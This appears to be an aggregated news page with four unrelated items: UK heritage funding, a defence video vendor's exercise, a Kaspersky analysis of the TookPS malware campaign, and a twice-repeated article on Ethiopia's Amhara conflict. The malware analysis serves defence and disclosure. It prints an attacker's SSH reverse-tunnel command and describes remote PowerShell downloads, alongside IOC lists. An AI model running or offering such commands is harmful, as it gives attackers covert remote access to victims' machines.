    This is in addition to the £15 million Heritage at Risk Capital Fund opening today for Expressions of Interest from individuals or organisations, focusing on the most deprived areas to rescue their locally cherished, at risk historic sites and buildings. This funding will support projects which seek to repair and enhance a variety of heritage buildings to benefit the local public and community, like shops, pubs, parks, and town halls. This is in addition to Historic England’s current Heritage at Risk Repair Grants, and will be open to a wider range of local heritage sites, celebrating the historic buildings people care most about. 

    It follows the announcement from the Culture Secretary last month of the £270 million Arts Everywhere Fund as part of the Government’s Plan for Change, which aims to support economic growth and increase opportunities for people across the country.

    Heritage Minister Sir Chris Bryant said:

    It is so important to communities across the country that we preserve local heritage that helps us to tell our national story.

    I am delighted that we have been able to provide this support to save the historic buildings most at risk, whilst simultaneously empowering people all over the country to take over the heritage sites at the beating heart of their communities and bring them back into good use. 

    These new funds are just another step of our Plan for Change, helping to boost local economies and bring opportunity to everyone, everywhere.

    Duncan Wilson, Chief Executive of Historic England said: 

    Thanks to the £15m additional funding through the Heritage at Risk Capital Fund, we will be able to help breathe new life into derelict historic buildings, stimulating economic growth and boosting local pride in some of the country’s most deprived areas. We’re excited to fund projects that will harness the power of heritage to make a difference where it is most needed.

    Ros Kerslake, Chair of the Architectural Heritage Fund, said:

    We are delighted to announce the new Heritage Revival Fund and our renewed partnership with the Department for Culture, Media and Sport and Historic England. AHF’s work in recent years has demonstrated the impact that the regeneration of historic buildings can have on our town centres and high streets so we are excited to be able to extend the reach of that work.

    Historic buildings aren’t just landmarks—they’re symbols of pride, purpose, and local identity and this funding will unlock the potential of social enterprises and charities to transform neglected heritage into thriving community spaces.

    We would also like to say a huge thanks to DCMS and the Culture Secretary, this investment will breathe new life into these vital spaces.

    Notes to editors: 

    • The Heritage Revival Fund will build on the recent work of the Architectural Heritage Fund to a wide range of community-led projects and will support more projects similar to:  
    1. The Ice House in Great Yarmouth. The Grade II-listed Ice House, originally one of a pair, is now the only building of its kind left in the country and serves as a reminder of the town’s once-thriving fishing industry. Thanks to Out There Arts, the unique building will soon be brought back into full use as a National Centre for Outdoor Arts and Circus, comprising an arts and circus training hub, with opportunities for performances and a bar. This imaginative and creative reuse of the building will further develop Great Yarmouth’s reputation as the capital of circus in the UK, while also strengthening the link between the town’s fishing and circus heritage. 

    2. Across the country in Sunderland, Tyne and Wear Building Preservation Trust has revitalised 170-175 High Street West. Originally a row of houses, the buildings were rapidly adapted for commercial use when they housed the drapery shop of George Binns and his son, Henry. Over subsequent generations, the small drapery shop expanded to regional dominance as Binns Department Store. However, the buildings that provided Binns’ first home eventually fell into disrepair. Now, they have been restored and repurposed as a café, community hub, and the music and arts venue that has cemented the site’s position at the heart of Sunderland’s Community.

    • In February, Culture Secretary, Lisa Nandy announced more than £270 million in funding for arts venues, museums, libraries and the heritage sector in a major boost for growth. 

    • The online portal to register Expressions of Interest for the Heritage Revival Fund opened on 1 April 2025. Full guidance, including eligibility criteria and details of how to apply can be found on the Architectural Heritage Fund’s website. 

    • The online portal to register Expressions of Interest for the Heritage At Risk Capital Fund opens on 2 April 2025. Full guidance, including eligibility criteria and details of how to apply can be found on Historic England’s website. 

    • Historic England : We are Historic England, the public body that protects and brings life to the heritage that matters to us all, so it lives on and is loved for longer. From the extraordinary to the everyday, our historic places and spaces matter. From community centres to cathedrals, homes to high streets, markets to mills – there are special places we all choose to hold onto, the legacy we want to pass on and the stories we continue to tell. That’s why we work together with people across England to discover, protect and bring new life to our shared historic environment, providing advice, knowledge, support and services. Follow us on social media @HistoricEngland.

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    Published 2 April 2025

    MIL OSI United Kingdom –

    April 2, 2025
  • MIL-OSI: Haivision Showcases Cutting-Edge Mission-Critical Video Solutions at L3Harris Technologies’ C5ISR Exercise – Everest NL 2025

    Source: GlobeNewswire (MIL-OSI)

    MONTREAL, April 02, 2025 (GLOBE NEWSWIRE) — Haivision (TSX: HAI), a leading global provider of mission-critical, real-time video networking and visual collaboration solutions, participated in Everest NL 2025, an immersive C5ISR experiment hosted by L3Harris Technologies at Experience Island in Loon op Zand, Netherlands, from March 24-27, 2025.

    Everest NL serves as a premier platform for showcasing the latest advancements in tactical communications, intelligence, surveillance, and reconnaissance (ISR), network management, and electronic warfare (EW). The event replicates a modern NATO maneuver-force communication environment, providing a live, operationally relevant setting where cutting-edge technologies are put to the test.

    The Everest exercise offers a unique opportunity to demonstrate the power of true joint interoperability among leading manufacturers. Haivision’s participation underscores its commitment to advancing interoperable, secure, and real-time video technologies that support the evolving needs of modern defense forces. By participating in the event hosted by L3Harris and collaborating with industry leaders, Haivision continues to develop innovative, field-proven solutions that enhance operational effectiveness in dynamic military environments.

    At the Everest NL event, Haivision showcased its mission-critical video ecosystem, demonstrating how high-quality, secure video and data sharing enhance operational effectiveness across the battlefield. For this exercise, Haivision delivered an ISR video solution powered by Makito video encoders and the Kraken video processing platform at the tactical edge. The ISR video was streamed to Haivision’s expeditionary video wall solution, powered by Command 360, to support a common operating picture and provide situational awareness to commanders in the operations center at HQ.

    Everest NL served as an ideal proving ground for next-generation defense technology. “By working alongside industry leaders, we can showcase how open architecture and interoperability drive operational effectiveness. Haivision’s deep expertise in mission-critical video technology ensures that we deliver innovative solutions but also address the real-world challenges our end-users encounter in the field,” says Tyler Stephens, Vice President, International Mission Systems.

    Engineered to meet rigorous cybersecurity and interoperability standards for defense networks, Haivision’s video solutions are built to handle the complex challenges faced by military and defense end-users. The company focuses on delivering cutting-edge solutions that seamlessly integrate with its partners to enhance mission success.

    Deployed and trusted worldwide, Haivision’s mission-critical video solutions empower aerospace, enterprise, government, military, and public safety organizations to make informed decisions faster. Haivision’s video wall systems for command centers, video distribution solutions, and ISR video technology enable real-time analysis and decision-making. Haivision’s technology is designed to comply with strict government and industry standards, ensuring security, reliability, and interoperability. For more information about Haivision’s mission-critical video ecosystem for military operations, visit: haivision.com/industries/government-defense/

    About Haivision

    Haivision is a leading global provider of mission-critical, real-time video networking and visual collaboration solutions. Our connected cloud and intelligent edge technologies enable organizations globally to engage audiences, enhance collaboration, and support decision-making. We provide high-quality, low-latency, secure, and reliable live video at a global scale. Haivision open-sourced its award-winning SRT (Secure Reliable Transport) low-latency video streaming protocol and founded the SRT Alliance to support its adoption. Awarded four Emmys® for Technology and Engineering from the National Academy of Television Arts and Sciences, Haivision continues to fuel the future of IP video transformation. Founded in 2004, Haivision is headquartered in Montreal and Chicago, with offices, sales, and support located throughout the Americas, Europe, and Asia. To learn more, visit Haivision.com.

    The MIL Network –

    April 2, 2025
  • MIL-OSI Economics: TookPS: DeepSeek isn’t the only game in town

    Source: Securelist – Kaspersky

    Headline: TookPS: DeepSeek isn’t the only game in town

    In early March, we published a study detailing several malicious campaigns that exploited the popular DeepSeek LLM as a lure. Subsequent telemetry analysis indicated that the TookPS downloader, a malware strain detailed in the article, was not limited to mimicking neural networks. We identified fraudulent websites mimic official sources for remote desktop and 3D modeling software, alongside pages offering these applications as free downloads.

    Malicious websites

    UltraViewer, AutoCAD, and SketchUp are common business tools. Therefore, potential victims of this campaign include both individual users and organizations.

    Our telemetry also detected file names such as “Ableton.exe” and “QuickenApp.exe”, alongside malicious websites. Ableton is music production software for composition, recording, mixing, and mastering, and Quicken is a personal finance app for tracking expenses, income, debts, and investments across various accounts.

    TookPS

    In our report on attacks exploiting DeepSeek as a lure, we outlined the infection chain initiated by Trojan-Downloader.Win32.TookPS. Let us delve into this. Upon infiltrating a victim’s device, the downloader reaches out to its C2 server, whose domain is embedded in its code, to retrieve a PowerShell script. Different malware samples communicate with different domains. For example, the file with the MD5 hash 2AEF18C97265D00358D6A778B9470960 reached out to bsrecov4[.]digital, which was inactive at the time of our research. It received the following base64-encoded command from that domain:

    Original command

    Decoding reveals the PowerShell command being executed:

    The variable “$TookEnc” stores an additional base64-encoded data block, also executed in PowerShell. Decrypting this reveals the following command:

    Decoded command from $TookEnc variable shown in the previous screenshot

    Example of decrypting another command from $TookEnc variable

    Although different samples contain different URLs, the command structure remains identical. These commands sequentially download and execute three PowerShell scripts from the specified URL. The first script downloads “sshd.exe”, its configuration file (“config”), and an RSA key file from the C2 server. The second script retrieves command-line parameters for “sshd” (remote server address, port, and username), and then runs “sshd”.

    Example of a malicious PowerShell command generated by the PowerShell script:

    1

    ssh.exe –N –R 41431:localhost:109 Rc7DexAU73l@$ip_address –i “$user.sshRc7DexAU73l.41431” –f “$user.sshconfig”

    This command starts an SSH server, thereby establishing a tunnel between the infected device and the remote server. For authentication, it uses the RSA key downloaded earlier, and the server configuration is sourced from the “config” file. Through this tunnel, the attacker gains full system access, allowing for arbitrary command execution.

    The third script attempts to download a modified version of the Backdoor.Win32.TeviRat malware onto the victim’s machine, which is a well-known backdoor. The sample we obtained uses DLL sideloading to modify and deploy the TeamViewer remote access software onto infected devices. In simple terms, the attackers place a malicious library in the same folder as TeamViewer, which alters the software’s default behavior and settings, hiding it from the user and providing the attackers with covert remote access. This campaign used the domain invoicingtools[.]com as the C2.

    Part of the script that downloads Backdoor.Win32.TeviRat

    Additionally, Backdoor.Win32.Lapmon.* is downloaded onto the compromised device. Unfortunately, we were not able to establish the exact delivery method. This backdoor uses the domain twomg[.]xyz as its C2.

    In this manner, the attackers gain complete access to the victim’s computer in variety of ways.

    Infrastructure

    The malicious scripts and programs in this attack primarily used domains registered in early 2024, hosted at two IP addresses:

    C2 domains and corresponding IPs

    We found no legitimate user-facing resources at these IP addresses. Alongside the campaign-related domains, we also found other domains long blocked by our security solutions. This strongly suggests these attackers had used other tools prior to TookPS, Lapmon, and TeviRat.

    Takeaways

    The DeepSeek lure attacks were merely a glimpse into a large-scale campaign targeting both home users and organizations. The malware distributed by the attackers was disguised as popular software, including business-critical applications. They attempted to gain covert access to the victim’s device through a variety of methods after the initial infection.

    To protect against these attacks, users are advised to remain vigilant and avoid downloading pirated software, which may represent a serious threat.

    Organizations should establish robust security policies prohibiting software downloads from dubious sources like pirated websites and torrents. Additionally, regular security awareness training is essential for ensuring a proper level of employee vigilance.

    IOCs

    MD5
    46A5BB3AA97EA93622026D479C2116DE
    2DB229A19FF35F646DC6F099E6BEC51F
    EB6B3BCB6DF432D39B5162F3310283FB
    08E82A51E70CA67BB23CF08CB83D5788
    8D1E20B5F2D89F62B4FB7F90BC8E29F6
    D26C026FBF428152D5280ED07330A41C
    8FFB2A7EFFD764B1D4016C1DF92FC5F5
    A3DF564352171C207CA0B2D97CE5BB1A
    2AEF18C97265D00358D6A778B9470960
    8D0E1307084B4354E86F5F837D55DB87
    7CB0CA44516968735E40F4FAC8C615CE
    62CCA72B0BAE094E1ACC7464E58339C0
    D1D785750E46A40DEF569664186B8B40
    EE76D132E179623AD154CD5FB7810B3E
    31566F18710E18F72D020DCC2FCCF2BA
    F1D068C56F6023FB25A4F4F0CC02E9A1
    960DFF82FFB90A00321512CDB962AA5B
    9B724BF1014707966949208C4CE067EE

    URLs
    Nicecolns[.]com
    sketchup-i3dmodels-download[.]top
    polysoft[.]org
    autocad-cracked[.]com
    ultraviewer[.]icu
    ultraview-ramotepc[.]top
    bsrecov4[.]digital
    downloader[.]monster
    download[.]monster
    pstuk[.]xyz
    tukeps2ld[.]online
    twomg[.]xyz
    tuntun2[.]digital
    invoicingtools[.]com
    tu02n[.]website
    inreport2[.]xyz
    inrep[.]xyz

    IPs
    88[.]119.175.187
    88[.]119.175.184
    88[.]119.175.190

    MIL OSI Economics –

    April 2, 2025
  • MIL-OSI Global: Ethiopia’s civil war: what’s behind the Amhara rebellion?

    Source: The Conversation – Africa – By Amanuel Tesfaye, Doctoral Researcher, University of Helsinki

    Ethiopia is in the grip of a civil war between federal government forces and the Fano, a loose alliance of ethnic-based militia in the Amhara region.

    This conflict in Ethiopia’s north erupted less than a year after the devastating Tigray war, which ended in 2022.

    The Amhara are one of Ethiopia’s largest ethnic groups and played a leading role in the making of the Ethiopian state. Amharic serves as the country’s working language.

    The region shares a border with Tigray. During the Tigray war, which began in 2020, various Fano groups allied with the federal government. A peace deal in 2022 to stop the war sidelined the Amhara militia groups, which strained relations with the government.

    The Amhara conflict began as minor sporadic clashes with government forces in April 2023. This rapidly escalated into a full-scale insurgency by August when Fano forces launched a full blown attack in an effort to control the region’s major cities.

    The violence since has displaced more than 100,000 people and left 4.7 million children out of school.

    The death toll from the conflict is piling up. In March 2025, the government claimed to have killed more than 300 Fano fighters.

    We are researchers studying ethnic nationalism, social movements and insurgency in Ethiopia, with a focus on Amhara. Based on our studies into the Fano and ongoing research on Ethiopia’s political reforms process, we see three factors behind the escalating armed struggle in Amhara:

    • a mismanaged political transition from 2018 to 2020

    • fallout from the 2020-2022 Tigray war

    • a hollow pursuit of peace.

    Mismanaged transition

    Between 1991 and 2018, Ethiopia was governed by the Ethiopian People’s Revolutionary Democratic Front. This was a powerful coalition of four ethno-national parties representing Tigray, Amhara, Oromo, and Southern nations, nationalities and peoples.

    Faced with a political crisis and growing unrest in 2014 following opposition clampdowns and arbitrary arrests, the coalition needed a change. Two members – the Oromo People’s Democratic Organisation and the Amhara National Democratic Movement – joined forces to oust the Tigray People’s Liberation Front from its dominant position. They did this by leveraging youth-led protests, which played out between 2015 and 2018.

    Following the resignation of prime minister Hailemariam Desalegn in 2018, the two parties orchestrated Abiy Ahmed’s ascent to power.

    For a moment, the relationship between the Oromo and Amhara wings of the coalition looked like one of equals. This didn’t last. In December 2019, Abiy merged the coalition into a single party, the Prosperity Party.

    The Oromo wing positioned itself as the core of the Prosperity Party. It monopolised key political positions and economic opportunities. This included asserting control over the capital, Addis Ababa.




    Read more:
    Abiy Ahmed gained power in Ethiopia with the help of young people – four years later he’s silencing them


    Amhara’s outspoken leaders who criticised this dominance faced removal, arrest or exile. The region’s president, Ambachew Mekonnen, was assassinated in June 2019.

    Harassment, kidnappings for ransom and arrests were daily experiences for Amhara region residents trying to enter Addis Ababa. Members of the Amhara community also faced ethnic-based violence in various parts of the country.

    These incidents provoked anti-government protests throughout Amhara.

    Fallout from the Tigray war

    A peace agreement signed in 2022 in South Africa ended a brutal two-year war in Tigray and neighbouring regions. However, it deepened the sense of marginalisation in Amhara.

    While the agreement silenced the guns in Tigray, it sidelined Amhara constituencies by denying them representation in the talks despite the region being affected by the war. The agreement’s ambiguity regarding the fate of territories disputed between Amhara and Tigray, such as Welkait, further fuelled distrust.

    The last nail in the coffin came in April 2023. The government decided to dismantle regional special forces. This was ostensibly aimed at consolidating the country’s fighting forces.

    However, with unresolved territorial disputes and Oromo nationalist ambitions at the centre, disarming the Amhara Special Forces was interpreted as a move to weaken Amhara defences. Additionally, the more than 200,000-strong Tigray Defence Forces were left intact. This contributed to a sense of vulnerability in neighbouring Amhara.

    Public protests led to clashes with government forces. These protests morphed into an insurgency by the Fano in the following months.

    The insurgency has expanded its reach and has public support across the region and in the diaspora.

    The Fano insurgency is taking place in a territory three times the size of Tigray, stretching the federal army.

    Various Fano factions cite objectives that range from the protection of Amhara interests to constitutional change and overthrowing the federal government.

    However, the insurgency is still in its infancy. It lacks unified leadership, a cohesive structure or a chain of command. Factional divisions and competition persist, and there are no clear objectives.

    Hollow pursuit of peace

    The government seems determined to crush the Fano insurgency by force. A state of emergency was declared in August 2023 for six months. It was later extended.

    While the state of emergency in Amhara officially ended in June 2024, some restrictions remain in place. This includes de facto curfews in major cities, including the capital Bahir Dar.

    The counterinsurgency relies on heavy Ethiopian National Defence Forces deployments and drone strikes.

    On the other hand, the government has indicated its openness to peace talks. However, it has avoided meaningful confidence-building measures, such as releasing Amhara political prisoners. A Peace Council established to mediate between the Fano and the government has proven ineffective. Its spokesperson has noted federal reluctance to negotiate.




    Read more:
    Ethiopia’s war may have ended, but the Tigray crisis hasn’t


    The government’s peace efforts have centred on repeated calls for insurgents to surrender. There are reports that the government wants to talk to different Fano factions separately in the hope of fragmenting the insurgency further. Secret talks with one faction of the Fano are an indication of this strategy.

    The path forward

    The government’s violent counterinsurgency and occasional peace overtures are unlikely to succeed. The Prosperity Party is not popular in Amhara. A meaningful peace process – rather than calls for surrender or attempts to co-opt factions – is essential. This should start with measures like releasing arbitrarily detained Amhara activists, journalists, academics and politicians.

    The federal government also needs to be part of a multi-stakeholder negotiation involving all Fano factions, civil society, community leaders, and domestic and diaspora-based opposition groups. Unbiased mediation from regional and international players may also be useful. Past attempts at piecemeal talks with factions of armed groups – be it in Tigray or Oromia – have prolonged insurgencies or fostered new ones. Only a comprehensive, all-inclusive dialogue can address the crisis.

    Such a process needs to address deep-seated structural challenges. This includes ensuring the protection of Amhara minorities living in other regions, and the region’s representation within local, regional and federal government structures. Territorial disputes need to be addressed through a process rooted in historical context, constitutional principles and the consent of the people concerned.

    Ultimately, enduring peace requires ending the cycle of ethnic dominance in Ethiopia’s federal governance arrangement.

    The authors do not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and have disclosed no relevant affiliations beyond their academic appointment.

    – ref. Ethiopia’s civil war: what’s behind the Amhara rebellion? – https://theconversation.com/ethiopias-civil-war-whats-behind-the-amhara-rebellion-252425

    MIL OSI – Global Reports –

    April 2, 2025
  • MIL-OSI Africa: Ethiopia’s civil war: what’s behind the Amhara rebellion?

    Source: The Conversation – Africa – By Amanuel Tesfaye, Doctoral Researcher, University of Helsinki

    Ethiopia is in the grip of a civil war between federal government forces and the Fano, a loose alliance of ethnic-based militia in the Amhara region.

    This conflict in Ethiopia’s north erupted less than a year after the devastating Tigray war, which ended in 2022.

    The Amhara are one of Ethiopia’s largest ethnic groups and played a leading role in the making of the Ethiopian state. Amharic serves as the country’s working language.

    The region shares a border with Tigray. During the Tigray war, which began in 2020, various Fano groups allied with the federal government. A peace deal in 2022 to stop the war sidelined the Amhara militia groups, which strained relations with the government.

    The Amhara conflict began as minor sporadic clashes with government forces in April 2023. This rapidly escalated into a full-scale insurgency by August when Fano forces launched a full blown attack in an effort to control the region’s major cities.

    The violence since has displaced more than 100,000 people and left 4.7 million children out of school.

    The death toll from the conflict is piling up. In March 2025, the government claimed to have killed more than 300 Fano fighters.

    We are researchers studying ethnic nationalism, social movements and insurgency in Ethiopia, with a focus on Amhara. Based on our studies into the Fano and ongoing research on Ethiopia’s political reforms process, we see three factors behind the escalating armed struggle in Amhara:

    • a mismanaged political transition from 2018 to 2020

    • fallout from the 2020-2022 Tigray war

    • a hollow pursuit of peace.

    Mismanaged transition

    Between 1991 and 2018, Ethiopia was governed by the Ethiopian People’s Revolutionary Democratic Front. This was a powerful coalition of four ethno-national parties representing Tigray, Amhara, Oromo, and Southern nations, nationalities and peoples.

    Faced with a political crisis and growing unrest in 2014 following opposition clampdowns and arbitrary arrests, the coalition needed a change. Two members – the Oromo People’s Democratic Organisation and the Amhara National Democratic Movement – joined forces to oust the Tigray People’s Liberation Front from its dominant position. They did this by leveraging youth-led protests, which played out between 2015 and 2018.

    Following the resignation of prime minister Hailemariam Desalegn in 2018, the two parties orchestrated Abiy Ahmed’s ascent to power.

    For a moment, the relationship between the Oromo and Amhara wings of the coalition looked like one of equals. This didn’t last. In December 2019, Abiy merged the coalition into a single party, the Prosperity Party.

    The Oromo wing positioned itself as the core of the Prosperity Party. It monopolised key political positions and economic opportunities. This included asserting control over the capital, Addis Ababa.


    Read more: Abiy Ahmed gained power in Ethiopia with the help of young people – four years later he’s silencing them


    Amhara’s outspoken leaders who criticised this dominance faced removal, arrest or exile. The region’s president, Ambachew Mekonnen, was assassinated in June 2019.

    Harassment, kidnappings for ransom and arrests were daily experiences for Amhara region residents trying to enter Addis Ababa. Members of the Amhara community also faced ethnic-based violence in various parts of the country.

    These incidents provoked anti-government protests throughout Amhara.

    Fallout from the Tigray war

    A peace agreement signed in 2022 in South Africa ended a brutal two-year war in Tigray and neighbouring regions. However, it deepened the sense of marginalisation in Amhara.

    While the agreement silenced the guns in Tigray, it sidelined Amhara constituencies by denying them representation in the talks despite the region being affected by the war. The agreement’s ambiguity regarding the fate of territories disputed between Amhara and Tigray, such as Welkait, further fuelled distrust.

    The last nail in the coffin came in April 2023. The government decided to dismantle regional special forces. This was ostensibly aimed at consolidating the country’s fighting forces.

    However, with unresolved territorial disputes and Oromo nationalist ambitions at the centre, disarming the Amhara Special Forces was interpreted as a move to weaken Amhara defences. Additionally, the more than 200,000-strong Tigray Defence Forces were left intact. This contributed to a sense of vulnerability in neighbouring Amhara.

    Public protests led to clashes with government forces. These protests morphed into an insurgency by the Fano in the following months.

    The insurgency has expanded its reach and has public support across the region and in the diaspora.

    The Fano insurgency is taking place in a territory three times the size of Tigray, stretching the federal army.

    Various Fano factions cite objectives that range from the protection of Amhara interests to constitutional change and overthrowing the federal government.

    However, the insurgency is still in its infancy. It lacks unified leadership, a cohesive structure or a chain of command. Factional divisions and competition persist, and there are no clear objectives.

    Hollow pursuit of peace

    The government seems determined to crush the Fano insurgency by force. A state of emergency was declared in August 2023 for six months. It was later extended.

    While the state of emergency in Amhara officially ended in June 2024, some restrictions remain in place. This includes de facto curfews in major cities, including the capital Bahir Dar.

    The counterinsurgency relies on heavy Ethiopian National Defence Forces deployments and drone strikes.

    On the other hand, the government has indicated its openness to peace talks. However, it has avoided meaningful confidence-building measures, such as releasing Amhara political prisoners. A Peace Council established to mediate between the Fano and the government has proven ineffective. Its spokesperson has noted federal reluctance to negotiate.


    Read more: Ethiopia’s war may have ended, but the Tigray crisis hasn’t


    The government’s peace efforts have centred on repeated calls for insurgents to surrender. There are reports that the government wants to talk to different Fano factions separately in the hope of fragmenting the insurgency further. Secret talks with one faction of the Fano are an indication of this strategy.

    The path forward

    The government’s violent counterinsurgency and occasional peace overtures are unlikely to succeed. The Prosperity Party is not popular in Amhara. A meaningful peace process – rather than calls for surrender or attempts to co-opt factions – is essential. This should start with measures like releasing arbitrarily detained Amhara activists, journalists, academics and politicians.

    The federal government also needs to be part of a multi-stakeholder negotiation involving all Fano factions, civil society, community leaders, and domestic and diaspora-based opposition groups. Unbiased mediation from regional and international players may also be useful. Past attempts at piecemeal talks with factions of armed groups – be it in Tigray or Oromia – have prolonged insurgencies or fostered new ones. Only a comprehensive, all-inclusive dialogue can address the crisis.

    Such a process needs to address deep-seated structural challenges. This includes ensuring the protection of Amhara minorities living in other regions, and the region’s representation within local, regional and federal government structures. Territorial disputes need to be addressed through a process rooted in historical context, constitutional principles and the consent of the people concerned.

    Ultimately, enduring peace requires ending the cycle of ethnic dominance in Ethiopia’s federal governance arrangement.

    – Ethiopia’s civil war: what’s behind the Amhara rebellion?
    – https://theconversation.com/ethiopias-civil-war-whats-behind-the-amhara-rebellion-252425

    MIL OSI Africa –

    April 2, 2025
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